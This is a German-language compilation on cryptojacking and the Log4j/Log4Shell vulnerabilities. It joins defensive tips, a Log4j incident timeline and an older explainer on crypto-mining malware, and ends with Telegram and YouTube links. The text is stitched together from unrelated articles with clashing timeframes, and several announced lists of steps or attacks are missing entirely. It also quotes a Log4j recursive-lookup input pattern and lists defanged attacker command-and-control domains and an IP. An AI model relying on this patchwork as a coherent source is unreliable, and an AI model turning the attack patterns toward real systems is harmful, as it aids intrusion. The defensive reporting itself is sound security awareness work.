Spüren Sie Cloud-Fehlkonfigurationen auf. Eine der wirkungsvollsten Möglichkeiten, mit denen Organisationen Kryptojacking in der Cloud stoppen können, ist die Verschärfung der Cloud- und Container-Konfigurationen. Das bedeutet, Cloud-Dienste zu finden, die ohne ordnungsgemäße Authentifizierung dem öffentlichen Internet ausgesetzt sind, exponierte API-Server aufzuspüren und Anmeldedaten sowie andere Geheimnisse zu eliminieren, die in Entwicklerumgebungen gespeichert und in Anwendungen hartcodiert sind.
Kryptojacking ist ein klassischer Low-and-Slow-Cyberangriff, der darauf ausgelegt ist, minimale Spuren zu hinterlassen, um eine langfristige Erkennung zu vermeiden. Während Endpunktschutzplattformen und Endpoint-Detection-and-Response-Technologien bei der Alarmierung vor Kryptojacking-Angriffen große Fortschritte gemacht haben, sind die Angreifer auf diesem Gebiet Meister der Tarnung, und die Erkennung illegaler Coin-Miner kann sich dennoch als schwierig erweisen, insbesondere wenn nur wenige Systeme kompromittiert sind. Im Folgenden finden Sie einige zusätzliche Methoden, um Anzeichen von Kryptojacking zu erkennen.
Schulen Sie Ihren Helpdesk, um nach Anzeichen von Kryptomining Ausschau zu halten. Manchmal ist der erste Hinweis auf Benutzer-Endpunkten ein Anstieg der Helpdesk-Beschwerden über langsame Computerleistung. Das sollte eine rote Flagge sein, um weiter zu ermitteln, ebenso wie überhitzende Geräte oder schlechte Akkuleistung bei mobilen Geräten.
Setzen Sie eine Netzwerküberwachungslösung ein. Netzwerküberwachungstools können ein leistungsfähiges Werkzeug sein, um die Arten von Webverkehr und ausgehendem C2-Verkehr zu erkennen, die auf Kryptojacking-Aktivitäten hinweisen, unabhängig davon, von welchem Gerät sie stammen.
„Wenn Sie auf einem Server ein gutes Egress-Filtering haben, bei dem Sie auf ausgehende Verbindungsinitiierung achten, kann das eine gute Erkennung für [Kryptomining-Malware] sein“, sagt Travis Farral, Vice President und CISO bei Archaea Energy. Er warnt jedoch, dass Kryptominer-Autoren ihre Malware so schreiben können, dass sie diese Erkennungsmethode umgeht.
Nutzen Sie Cloud-Überwachung und Container-Runtime-Sicherheit. Sich weiterentwickelnde Tools wie Cloud-Überwachung und Container-Runtime-Sicherheitsscans können zusätzliche Transparenz in Cloud-Umgebungen bieten, die von unbefugten Kryptominern betroffen sein können. Cloud-Anbieter integrieren diese Art von Transparenz in ihre Dienste, manchmal als Add-ons. So hat Google Cloud sein Security Command Center Anfang dieses Jahres erweitert, um seine sogenannte Virtual Machine Threat Detection (VMTD) aufzunehmen, die Anzeichen von Kryptomining in der Cloud und andere Cloud-Bedrohungen erkennen soll.
Führen Sie regelmäßige Threat-Hunts durch. Da so viele Kryptojacking-Angriffe heimlich sind und nur wenige Spuren hinterlassen, müssen Organisationen möglicherweise aktivere Maßnahmen wie Threat Hunting ergreifen, um regelmäßig nach subtilen Anzeichen von Kompromittierung zu suchen und Ermittlungen durchzuführen.
„Endpoint-Sicherheits- und SOC-Teams sollten Zeit in aktive Übungen und Threat-Hunts investieren, anstatt herumzuwarten, bis etwas potenziell Katastrophales passiert“, sagt LogRhythms Vincent.
Überwachen Sie Ihre Websites auf Kryptomining-Code. Farral warnt davor, dass Kryptojacker Wege finden, Teile von JavaScript-Code auf Webservern zu platzieren. „Der Server selbst ist nicht das Ziel, sondern jeder, der die Website selbst besucht [riskiert eine Infektion]“, sagt er. Er empfiehlt, den Webserver regelmäßig auf Dateiänderungen oder Änderungen an den Seiten selbst zu überwachen.
Nachdem illegale Kryptomining-Aktivitäten erkannt wurden, sollte die Reaktion auf einen Kryptojacking-Angriff den Standard-Schritten zur Reaktion auf Cybervorfälle folgen, einschließlich Eindämmung, Beseitigung, Wiederherstellung und gewonnener Erkenntnisse. Einige Tipps für die Reaktion auf einen Kryptojacking-Angriff sind:
Stoppen Sie webbasierte Skripte. Bei JavaScript-Angriffen im Browser ist die Lösung einfach, sobald Kryptomining erkannt wurde: Beenden Sie den Browser-Tab, der das Skript ausführt. Die IT-Abteilung sollte die Website-URL notieren, die die Quelle des Skripts ist, und die Webfilter des Unternehmens aktualisieren, um sie zu blockieren.
Fahren Sie kompromittierte Container-Instanzen herunter. Unveränderliche Cloud-Infrastruktur wie Container-Instanzen, die mit Coin-Minern kompromittiert wurden, kann ebenfalls einfach gehandhabt werden, indem infizierte Container-Instanzen heruntergefahren und neu gestartet werden. Organisationen müssen jedoch die Grundursachen untersuchen, die überhaupt zur Kompromittierung des Containers geführt haben. Das bedeutet, nach Anzeichen zu suchen, dass das Container-Dashboard und die Anmeldedaten kompromittiert wurden, und verbundene Cloud-Ressourcen auf Anzeichen von Kompromittierung zu untersuchen. Ein wichtiger Schritt ist sicherzustellen, dass das neue Container-Image, das das alte ersetzt, nicht ähnlich konfiguriert ist.
Reduzieren Sie Berechtigungen und generieren Sie API-Schlüssel neu. Um cloudbasiertes Kryptojacking zu beseitigen und sich vollständig davon zu erholen, müssen Organisationen die Berechtigungen für betroffene Cloud-Ressourcen (und die damit verbundenen) reduzieren und API-Schlüssel neu generieren, um zu verhindern, dass Angreifer direkt in dieselbe Cloud-Umgebung zurückkehren.
Lernen und passen Sie sich an. Nutzen Sie die Erfahrung, um besser zu verstehen, wie der Angreifer Ihre Systeme kompromittieren konnte. Aktualisieren Sie die Schulungen für Ihre Benutzer, Helpdesk-, IT- und SOC-Analysten, damit sie Kryptojacking-Versuche besser identifizieren und entsprechend reagieren können.
Anmerkung der Redaktion: Dieser Artikel, ursprünglich im Februar 2018 veröffentlicht, wurde aktualisiert, um neue Forschungsergebnisse, Best Practices und Kryptojacking-Beispiele aufzunehmen.
Die Apache-Log4j-Schwachstelle hat seit ihrer Entdeckung Anfang Dezember weltweit für Schlagzeilen gesorgt. Der Fehler hat zahlreiche Organisationen auf der ganzen Welt beeinträchtigt, während Sicherheitsteams darum kämpften, die damit verbundenen Risiken zu mindern. Hier ist eine Zeitleiste der wichtigsten Ereignisse rund um die Log4j-Schwachstelle, wie sie sich entwickelt haben.
Apache veröffentlichte Details zu einer kritischen Schwachstelle in Log4j, einer Protokollierungsbibliothek, die in Millionen von Java-basierten Anwendungen verwendet wird. Angreifer begannen, den Fehler (CVE-2021-44228) auszunutzen – genannt „Log4Shell“, der auf der CVSS-Schwachstellenbewertungsskala mit 10 von 10 bewertet wurde. Er konnte zu Remote Code Execution (RCE) auf zugrunde liegenden Servern führen, die verwundbare Anwendungen ausführen. „Ein Angreifer, der Log-Nachrichten oder Log-Nachrichtenparameter kontrollieren kann, kann beliebigen Code ausführen, der von LDAP-Servern geladen wird, wenn die Message-Lookup-Substitution aktiviert ist“, schrieben Apache-Entwickler in einer Sicherheitsempfehlung. Ein Fix für das Problem wurde mit der Veröffentlichung von Log4j 2.15.0 bereitgestellt, während Sicherheitsteams auf der ganzen Welt daran arbeiteten, ihre Organisationen zu schützen. Unternehmen wurden aufgefordert, die neueste Version zu installieren.
Während die Auswirkungen der Schwachstelle anhielten, gab das National Cyber Security Centre (NCSC) des Vereinigten Königreichs eine öffentliche Warnung an britische Unternehmen zu dem Fehler heraus und skizzierte Strategien zur Eindämmung. Das NCSC riet allen Organisationen, das neueste Update sofort zu installieren, wo immer bekannt war, dass Log4j verwendet wird. „Dies sollte die erste Priorität für alle britischen Organisationen sein, die Software verwenden, von der bekannt ist, dass sie Log4j enthält. Organisationen sollten sowohl internetzugewandte als auch nicht internetzugewandte Software aktualisieren“, hieß es in der Erklärung. Unternehmen wurden außerdem aufgefordert, unbekannte Instanzen von Log4j aufzuspüren und schützende Netzwerküberwachung/-blockierung einzusetzen.
Ähnlich wie das britische NCSC reagierte die US-amerikanische Cybersecurity and Infrastructure Security Agency (CISA) öffentlich auf die Log4j-Schwachstelle, wobei Direktorin Jen Easterly über die dringende Herausforderung nachdachte, die sie für Netzwerkverteidiger darstellte. „CISA arbeitet eng mit unseren Partnern aus dem öffentlichen und privaten Sektor zusammen, um proaktiv eine kritische Schwachstelle zu beheben, die Produkte mit der Log4j-Softwarebibliothek betrifft“, sagte sie in einer Erklärung. „Wir ergreifen dringende Maßnahmen, um die Eindämmung dieser Schwachstelle voranzutreiben und damit verbundene Bedrohungsaktivitäten zu erkennen. Wir haben diese Schwachstelle in unseren Katalog bekannter ausgenutzter Schwachstellen aufgenommen, was zivile Bundesbehörden verpflichtet – und nicht-bundesstaatlichen Partnern signalisiert –, diese Schwachstelle dringend zu patchen oder zu beheben. Wir wenden uns proaktiv an Stellen, deren Netzwerke möglicherweise verwundbar sind, und nutzen unsere Scan- und Eindringungserkennungstools, um Regierungs- und Industriepartnern zu helfen, eine Gefährdung durch oder Ausnutzung der Schwachstelle zu identifizieren.“
CISA empfahl Asset-Eigentümern, drei zusätzliche, sofortige Schritte zu unternehmen, um die Schwachstelle zu entschärfen:
Eine zweite Schwachstelle, die Apache Log4j betrifft, wurde entdeckt. Der neue Exploit, CVE 2021-45046, erlaubte es böswilligen Akteuren, mithilfe eines JNDI-Lookup-Musters bösartige Eingabedaten zu erstellen, um Denial-of-Service-Angriffe (DoS) durchzuführen, so die CVE-Beschreibung. Ein neuer Patch für den Exploit wurde verfügbar gemacht, der die Unterstützung für Message-Lookup-Muster entfernte und die JNDI-Funktionalität standardmäßig deaktivierte, wobei der Log4j-2.15.0-Fix für den ursprünglichen Fehler in bestimmten Nicht-Standard-Konfigurationen unvollständig war.
„Während CVE-2021-45046 weniger schwerwiegend ist als die ursprüngliche Schwachstelle, wird es zu einem weiteren Vektor für Bedrohungsakteure, um böswillige Angriffe gegen ungepatchte oder falsch gepatchte Systeme durchzuführen“, sagte Amy Chang, Leiterin von Risk and Response bei Resilience, kurz nachdem der Fehler entdeckt wurde, gegenüber CSO. „Der unvollständige Patch für CVE-2021-44228 könnte missbraucht werden, um bösartige Eingabedaten zu erstellen, was zu einem DoS-Angriff führen könnte. Ein DoS-Angriff kann eine Maschine oder ein Netzwerk abschalten und es für die vorgesehenen Benutzer unzugänglich machen“, fügte sie hinzu. Organisationen wurde geraten, so schnell wie möglich auf Log4j 2.16.0 zu aktualisieren.
Apache veröffentlichte Details zu einer dritten großen Log4j-Schwachstelle und stellte einen weiteren Fix bereit. Dabei handelte es sich um einen Fehler mit unendlicher Rekursion, der mit 7,5 von 10 bewertet wurde. „Das Log4j-Team wurde auf eine Sicherheitsschwachstelle aufmerksam gemacht, CVE-2021-45105, die in Log4j 2.17.0 für Java 8 und höher behoben wurde“, schrieb es. „Apache-Log4j2-Versionen 2.0-alpha1 bis 2.16.0 schützten nicht vor unkontrollierter Rekursion durch selbstreferenzielle Lookups. Wenn die Protokollierungskonfiguration ein nicht standardmäßiges Pattern-Layout mit einem Context-Lookup verwendet (z. B. $${ctx:loginId}), können Angreifer mit Kontrolle über die Eingabedaten der Thread Context Map (MDC) bösartige Eingabedaten erstellen, die einen rekursiven Lookup enthalten, was zu einem StackOverflowError führt, der den Prozess beendet. Dies wird auch als DoS-Angriff (Denial-of-Service) bezeichnet.“
Apache skizzierte außerdem die folgenden Eindämmungsmaßnahmen:
Die Cybersicherheitsforschungsgruppe Cryptolaemus warnte davor, dass die Log4j-Schwachstelle ausgenutzt wurde, um Windows-Geräte mit dem Banking-Trojaner Dridex und Linux-Geräte mit Meterpreter zu infizieren. Dridex ist eine Form von Malware, die Bankzugangsdaten über ein System stiehlt, das Makros aus Microsoft Word verwendet, während Meterpreter ein Metasploit-Angriffspayload ist, das eine interaktive Shell bereitstellt, von der aus ein Angreifer eine Zielmaschine untersuchen und Code ausführen kann. Das Cryptolaemus-Mitglied Joseph Roosen sagte gegenüber BleepingComputer, dass Bedrohungsakteure die Log4j-RMI-Exploit-Variante (Remote Method Invocation) verwenden, um verwundbare Geräte zu zwingen, eine Java-Klasse von einem angreiferkontrollierten Remote-Server zu laden und auszuführen.
Vom Cybersicherheitsanbieter Tenable veröffentlichte Daten zeigten, dass eines von 10 aller Assets anfällig für Log4Shell war, während 30 % der Organisationen noch nicht mit dem Scannen nach dem Bug begonnen hatten. „Von den bewerteten Assets wurde Log4Shell in etwa 10 % von ihnen gefunden, darunter eine breite Palette von Servern, Webanwendungen, Containern und IoT-Geräten“, lautete ein Tenable-Blogbeitrag. „Log4Shell ist in allen Branchen und geografischen Regionen allgegenwärtig. Einer von 10 exponierten Unternehmensservern. Eine von 10 Webanwendungen und so weiter. Einer von 10 fast jedem Aspekt unserer digitalen Infrastruktur hat das Potenzial für böswillige Ausnutzung über Log4Shell.“
Der Anbieter warnte, dass Log4Shell ein größeres Bedrohungspotenzial birgt als EternalBlue (das bei den WannaCry-Angriffen ausgenutzt wurde), da Log4j sowohl in der Infrastruktur als auch in Anwendungen allgegenwärtig ist. „Keine einzelne Schwachstelle in der Geschichte hat so unverhohlen nach Behebung verlangt. Log4Shell wird das Computing, wie wir es kennen, definieren und diejenigen trennen, die sich die Mühe machen, sich zu schützen, von denen, die es bequem finden, nachlässig zu sein“, fügte es hinzu.
Die Federal Trade Commission (FTC) drängte US-Organisationen, die Log4Shell-Sicherheitslücke umgehend zu patchen oder Strafmaßnahmen der Behörde zu riskieren. „Wenn Schwachstellen entdeckt und ausgenutzt werden, droht der Verlust oder die Offenlegung persönlicher Daten, finanzielle Verluste und andere irreversible Schäden. Die Pflicht, angemessene Maßnahmen zur Eindämmung bekannter Softwareschwachstellen zu ergreifen, betrifft Gesetze wie unter anderem den Federal Trade Commission Act und den Gramm-Leach-Bliley-Act“, so die FTC. Sie fügte hinzu, dass es entscheidend sei, dass Unternehmen und ihre Anbieter, die auf Log4j angewiesen sind, jetzt handeln, um die Wahrscheinlichkeit von Schäden für Verbraucher zu verringern und rechtliche Schritte der FTC zu vermeiden. „Die FTC beabsichtigt, ihre volle rechtliche Befugnis auszuschöpfen, um Unternehmen zu belangen, die es versäumen, angemessene Maßnahmen zum Schutz der Verbraucherdaten vor Offenlegung infolge von Log4j oder ähnlichen bekannten Schwachstellen in der Zukunft zu ergreifen.“
Microsoft aktualisierte seine Leitfadenseite zur Log4j-Sicherheitslücke mit Details zu einem in China ansässigen Ransomware-Betreiber (DEV-0401), der internetzugängliche Systeme ins Visier nimmt und die Ransomware NightSky einsetzt. „Bereits am 4. Januar begannen Angreifer, die Sicherheitslücke CVE-2021-44228 in internetzugänglichen Systemen mit VMware Horizon auszunutzen“, so Microsoft. „DEV-0401 hat zuvor mehrere Ransomware-Familien eingesetzt, darunter LockFile, AtomSilo und Rook, und hat in ähnlicher Weise internetzugängliche Systeme mit Confluence (CVE-2021-26084) und lokale Exchange-Server (CVE-2021-34473) ausgenutzt.“ Nach der Analyse von Microsoft wurde festgestellt, dass die Angreifer Command-and-Control-Server (CnC) nutzen, die legitime Domains nachahmen. Dazu gehören service[.]trendmrcio[.]com, api[.]rogerscorp[.]org, api[.]sophosantivirus[.]ga, apicon[.]nvidialab[.]us, w2zmii7kjb81pfj0ped16kg8szyvmk.burpcollaborator[.]net und 139[.]180[.]217[.]203.
Security 101: Die Auswirkungen von Kryptowährungs-Mining-Malware
Die australische Regierung hat digitale Währungen gerade als legales Zahlungsmittel anerkannt. Seit dem 1. Juli sind Käufe mit digitalen Währungen wie Bitcoin von der nationalen Waren- und Dienstleistungssteuer (Goods and Services Tax) befreit, um eine Doppelbesteuerung zu vermeiden. So müssen Händler und Anleger beim Kauf und Verkauf über legale Handelsplattformen keine Steuern zahlen.
Japan, das Bitcoin im vergangenen April als Zahlungsmittel legitimierte, erwartet bereits, dass mehr als 20.000 Händler Bitcoin-Zahlungen akzeptieren werden. Andere Länder ziehen nach, wenn auch nur teilweise: Unternehmen und einige öffentliche Organisationen in der Schweiz, in Norwegen und in den Niederlanden. Einer aktuellen Studie zufolge wird die Zahl der eindeutigen, aktiven Nutzer von Kryptowährungs-Wallets auf 2,9 bis 5,8 Millionen geschätzt, die meisten davon in Nordamerika und Europa.
Aber was haben Akzeptanz und Einführung digitaler Währungen mit Online-Bedrohungen zu tun? Eine ganze Menge, tatsächlich. Je mehr reale Bedeutung Kryptowährungen wie Bitcoin erlangen, desto mehr werden auch die Cyberkriminalitäts-Bedrohungen zunehmen, die sie missbrauchen. Aber wie genau? Was bedeutet das für Unternehmen und normale Nutzer?
Eine Kryptowährung ist eine verschlüsselte Datenzeichenfolge, die eine Währungseinheit darstellt. Sie wird von einem Peer-to-Peer-Netzwerk überwacht und organisiert, das auch als Blockchain bekannt ist und zugleich als sicheres Transaktionsbuch dient, z. B. für Kauf, Verkauf und Übertragung. Im Gegensatz zu physischem Geld sind Kryptowährungen dezentral, das heißt, sie werden nicht von Regierungen oder anderen Finanzinstituten ausgegeben.
Kryptowährungen werden durch kryptografische Algorithmen erzeugt (und gesichert), die in einem als Mining bezeichneten Prozess gepflegt und bestätigt werden, bei dem ein Netzwerk von Computern oder spezialisierte Hardware wie anwendungsspezifische integrierte Schaltkreise (ASICs) die Transaktionen verarbeiten und validieren. Der Prozess belohnt die Miner, die das Netzwerk betreiben, mit der Kryptowährung.
Es gibt tatsächlich über 700 Kryptowährungen, aber nur einige werden aktiv gehandelt und noch weniger haben eine Marktkapitalisierung von über 100 Millionen US-Dollar. Bitcoin beispielsweise wurde von Satoshi Nakamoto (Pseudonym) geschaffen und 2009 als Open-Source-Code veröffentlicht. Die Blockchain-Technologie machte das Ganze möglich, indem sie ein System bereitstellt, in dem Datenstrukturen (Blöcke) über ein Netzwerk von Kommunikationsendpunkten (Knoten) verbreitet, validiert und in einer öffentlichen, verteilten Datenbank registriert werden.
Während Bitcoin die bekannteste Kryptowährung ist, gibt es andere beliebte Alternativen. Ethereum brachte „Smart Contracts“ auf die nächste Stufe, indem die zum Programmieren benötigten Sprachen für Entwickler zugänglicher gemacht wurden. Vereinbarungen oder bedingte Wenn-dann-Transaktionen werden als Code geschrieben und in der Blockchain von Ethereum ausgeführt (sofern die Anforderungen erfüllt sind).
Ethereum erlangte jedoch Berühmtheit, nachdem ein Hacker eine Sicherheitslücke in der Digital Autonomous Organization (DAO), die auf der Software von Ethereum läuft, ausgenutzt hatte und dabei Ether (die Währung von Ethereum) im Wert von 50 Millionen US-Dollar abzog. Dies führte zur Entwicklung von Ethereum Classic, das auf der ursprünglichen Blockchain basiert, und Ethereum, seiner aktualisierten Version (per Hard Fork).
Es gibt auch andere bemerkenswerte Kryptowährungen: Litecoin, Dogecoin, Monero. Litecoin ist eine angeblich technische Verbesserung von Bitcoin, die über ihren Scrypt-Mining-Algorithmus schnellere Abwicklungen ermöglicht (Bitcoin verwendet SHA-256). Das Litecoin-Netzwerk kann 84 Millionen Litecoins erzeugen – viermal so viele Kryptowährungseinheiten wie von Bitcoin ausgegeben. Monero ist bekannt für seine Verwendung von Ringsignaturen (einer Art digitaler Signatur) und des CryptoNote-Anwendungsschicht-Protokolls, um die Privatsphäre seiner Transaktionen zu schützen – Betrag, Herkunft und Ziel. Dogecoin, das ursprünglich zu Bildungs- oder Unterhaltungszwecken entwickelt wurde, richtete sich an eine breitere Zielgruppe. Es kann unbegrenzt viele Dogecoins erzeugen und verwendet ebenfalls Scrypt, um die Währung anzutreiben.
Kryptowährungen kennen keine Grenzen – jeder kann sie jederzeit und überall senden, ohne Verzögerungen oder zusätzliche/versteckte Gebühren von Zwischenhändlern. Aufgrund ihrer Natur sind sie besser vor Betrug und Identitätsdiebstahl geschützt, da Kryptowährungen nicht gefälscht werden können und persönliche Daten hinter einer kryptografischen Mauer stehen.
Leider machten dieselbe scheinbare Rentabilität, Bequemlichkeit und Pseudonymität von Kryptowährungen sie auch für Cyberkriminelle ideal, wie Ransomware-Betreiber zeigten. Die zunehmende Beliebtheit von Kryptowährungen fällt mit dem Auftreten von Malware zusammen, die Systeme und Geräte infiziert und sie in Armeen von Kryptowährungs-Mining-Maschinen verwandelt.
Kryptowährungs-Mining ist eine rechenintensive Aufgabe, die erhebliche Ressourcen von dedizierten Prozessoren, Grafikkarten und anderer Hardware erfordert. Mining erzeugt zwar Geld, aber es gibt viele Einschränkungen. Der Gewinn steht im Verhältnis zur Investition eines Miners in die Hardware, ganz zu schweigen von den Stromkosten für deren Betrieb.
Kryptowährungen werden in Blöcken geschürft; bei Bitcoin beispielsweise wird die Anzahl der Bitcoins, die einem Miner pro Block zuerkannt werden kann, jedes Mal halbiert, wenn eine bestimmte Anzahl von Hashes gelöst wurde. Da das Bitcoin-Netzwerk darauf ausgelegt ist, die Kryptowährung alle 10 Minuten zu erzeugen, wird der Schwierigkeitsgrad für das Lösen eines weiteren Hashs angepasst. Und da die Mining-Leistung zunimmt, steigen auch die Ressourcenanforderungen für das Mining eines neuen Blocks. Die Auszahlungen sind relativ gering und sinken alle vier Jahre – 2016 wurde die Belohnung für das Mining eines Blocks auf 12,5 BTC halbiert (bzw. 32.000 US-Dollar, Stand 5. Juli 2017). Infolgedessen schließen sich viele zu Pools zusammen, um das Mining effizienter zu gestalten. Der Gewinn wird innerhalb der Gruppe aufgeteilt, je nachdem, wie viel Aufwand ein Miner investiert hat.
Bösewichte greifen auf Malware zurück, um diese Herausforderungen zu umgehen. Es gibt jedoch eine Einschränkung für kriminelle Miner: Internetverbundene Geräte und Maschinen sind zwar schnell genug, um Netzwerkdaten zu verarbeiten, verfügen aber nicht über umfangreiche Rechenkapazitäten. Um dies auszugleichen, ist Kryptowährungs-Mining-Malware darauf ausgelegt, Botnetze aus Computern in Zombies zu verwandeln, um diese Aufgaben auszuführen. Andere verzichteten ganz auf Heimlichkeit – 2014 wurde der Supercomputer-Cluster Odyssey der Harvard University genutzt, um illegal Dogecoins zu schürfen. Im selben Jahr ereignete sich ein ähnlicher Vorfall bei den Supercomputern der US-Behörde National Science Foundation. Anfang Februar 2017 wurde einer der Server der US-Notenbank Federal Reserve missbraucht, um Bitcoins zu schürfen.
Kryptowährungs-Mining-Malware verwendet dieselbe Vorgehensweise wie viele andere Bedrohungen – von Spam-E-Mails mit Malware-Anhang und Downloads von bösartigen URLs bis hin zu Junkware und potenziell unerwünschten Anwendungen (PUAs). Im Januar 2014 wurde eine Sicherheitslücke im Java-basierten Werbenetzwerk von Yahoo! ausgenutzt, wodurch europäische Endnutzer Malvertisements ausgesetzt waren, die eine Bitcoin-Mining-Malware auslieferten. Einen Monat zuvor hatte die deutsche Polizei Hacker festgenommen, die angeblich mit Malware Bitcoins im Wert von über 954.000 US-Dollar geschürft hatten.
Wir haben bereits 2011 das Aufkommen von Hacking-Tools und Hintertüren im Zusammenhang mit kriminellem Bitcoin-Mining beobachtet, und seitdem haben wir eine Vielzahl von Kryptowährungs-Mining-Bedrohungen gesehen, die weitere Fähigkeiten hinzufügen, wie verteilte Denial-of-Service-Angriffe und URL-Spoofing. Eine andere versuchte sogar, sich als Komponente eines Produkts von Trend Micro auszugeben. 2014 wechselte die Bedrohung als Kagecoin auf Android-Geräte und war in der Lage, Bitcoin, Litecoin und Dogecoin zu minen. Ein Remote-Access-Trojaner (RAT) namens njrat/Njw0rm, der im Untergrund des Nahen Ostens häufig geteilt wird, wurde modifiziert, um Bitcoin-Mining-Funktionen hinzuzufügen. Dasselbe geschah mit einem alten Java-RAT, das Litecoin minen kann.
Die bisher bemerkenswertesten Kryptowährungs-Mining-Malware-Varianten dieses Jahres sind Adylkuzz, CPUMiner/EternalMiner und Linux.MulDrop.14. Alle nutzen Sicherheitslücken aus. Adylkuzz nutzt EternalBlue aus, dieselbe Sicherheitslücke, die die Ransomware WannaCry mit verheerender Wirkung ausnutzte, während CPUMiner/EternalMiner SambaCry nutzte, eine Sicherheitslücke in der Interoperabilitätssoftware-Suite Samba. Linux.MulDrop.14, ein Linux-Trojaner, zielt auf Raspberry-Pi-Geräte ab. Diese Bedrohungen infizierten Geräte und Maschinen und verwandelten sie in Monero-Mining-Botnetze.
Kryptowährungs-Mining-Malware entzieht infizierten Maschinen Ressourcen, was deren Leistung erheblich beeinträchtigt und den Verschleiß erhöht. Eine Infektion bringt auch andere Kosten mit sich, etwa einen erhöhten Stromverbrauch.
Wir haben jedoch auch festgestellt, dass ihre Auswirkungen über Leistungsprobleme hinausgehen. Vom 1. Januar bis 24. Juni 2017 erkannten unsere Sensoren 4.894 Bitcoin-Miner, die über 460.259 Bitcoin-Mining-Aktivitäten auslösten, und stellten fest, dass mehr als 20 % dieser Miner auch Web- und netzwerkbasierte Angriffe auslösten. Wir fanden sogar Eindringversuche, die mit dem Angriffsvektor einer Ransomware in Verbindung standen. Die häufigsten dieser Angriffe, die wir beobachteten, waren:
Diese Malware kann die Verfügbarkeit, Integrität und Sicherheit eines Netzwerks oder Systems gefährden, was möglicherweise zu Störungen der geschäftskritischen Abläufe eines Unternehmens führen kann. Informationsdiebstahl und Systemübernahme sind ebenfalls besorgniserregende Folgen. Diese Angriffe können auch als Einfallstor dienen, über das weitere Malware ausgeliefert wird.
Geräte des Internets der Dinge (IoT) befinden sich ebenfalls im Visier von Kryptowährungs-Mining-Malware – von digitalen Videorekordern (DVR)/Überwachungskameras über Set-Top-Boxen und Network-Attached-Storage-Geräte (NAS) bis hin zu insbesondere Routern, angesichts ihrer Verbreitung in Heim- und Unternehmensumgebungen. Im April 2017 tauchte eine Variante von Mirai mit Bitcoin-Mining-Fähigkeiten auf. Mirai erlangte seine Berüchtigtheit durch das Chaos, das es in IoT-Geräten anrichtete, insbesondere in Heimroutern, die es im letzten Jahr nutzte, um prominente Websites offline zu nehmen. In den ersten drei Quartalen 2016 erkannten wir eine Bitcoin-Mining-Zombie-Armee, die aus Windows-Systemen, Heimroutern und IP-Kameras bestand.
Vom 1. Januar bis 24. Juni 2017 beobachteten wir außerdem verschiedene Arten von Geräten, die Bitcoin schürften, obwohl unsere Telemetrie nicht verifizieren kann, ob diese Aktivitäten autorisiert waren. Zudem beobachteten wir einen Anstieg der Bitcoin-Mining-Aktivitäten um 40 % – von 1.800 ausgelösten Ereignissen täglich im Februar auf 3.000 im März 2017.
Auch wenn Bitcoin-Mining nicht von Natur aus illegal ist (zumindest in vielen Ländern), kann es eine Kompromittierung bedeuten, wenn es ohne Wissen und Zustimmung des Eigentümers geschieht. Wir stellten fest, dass Maschinen mit Windows die meisten Bitcoin-Mining-Aktivitäten aufwiesen, aber auch zu erwähnen sind:
[LESEN SIE: So sichern Sie Ihren Router gegen Mirai- und Heimnetzwerk-Angriffe]
Kryptowährungs-Mining-Malware kann die Systemleistung beeinträchtigen und Endnutzer sowie Unternehmen Informationsdiebstahl, Übernahme und einer Vielzahl anderer Malware aussetzen. Und indem sie diese Maschinen in Zombies verwandelt, kann Kryptowährungs-Malware ihre Opfer sogar unbeabsichtigt zu einem Teil des Problems machen.
Tatsächlich macht ihre nachteilige Wirkung auf die von ihnen infizierten Geräte – und letztlich auf die Vermögenswerte eines Unternehmens oder die Daten eines Nutzers – sie zu einer ernstzunehmenden Bedrohung. Es gibt kein Allheilmittel gegen diese Malware, aber sie kann durch die Befolgung dieser bewährten Methoden eingedämmt werden:
IT-/Systemadministratoren und Informationssicherheitsexperten können auch Anwendungs-Whitelisting oder ähnliche Sicherheitsmechanismen in Betracht ziehen, die verhindern, dass verdächtige ausführbare Dateien ausgeführt oder installiert werden. Die proaktive Überwachung des Netzwerkverkehrs hilft, Warnsignale besser zu erkennen, die auf eine Malware-Infektion hindeuten könnten. Die Anwendung des Prinzips der geringsten Rechte, die Entwicklung von Gegenmaßnahmen gegen Web-Injektionen, die Sicherung des E-Mail-Gateways, die Umsetzung bewährter Verfahren für Unternehmensmobilgeräte und die Förderung einer sicherheitsbewussten Belegschaft sind Teil eines mehrschichtigen Verteidigungsansatzes, um die Gefährdung eines Unternehmens durch diese Bedrohungen zu verringern. Letztendlich ist die Sicherheit internetverbundener Geräte gegen Kryptowährungs-Mining-Malware jedoch nicht nur eine Last für deren Nutzer. Auch die ursprünglichen Design- und Ausrüstungshersteller spielen entscheidende Rollen bei der Sicherung der Ökosysteme, in denen sie betrieben werden.
Telegram: https://t.me/cryptodeeptech
Video: https://youtu.be/PNDBjoT83zA
Quelle: https://cryptodeeptech.ru/log4j-vulnerability
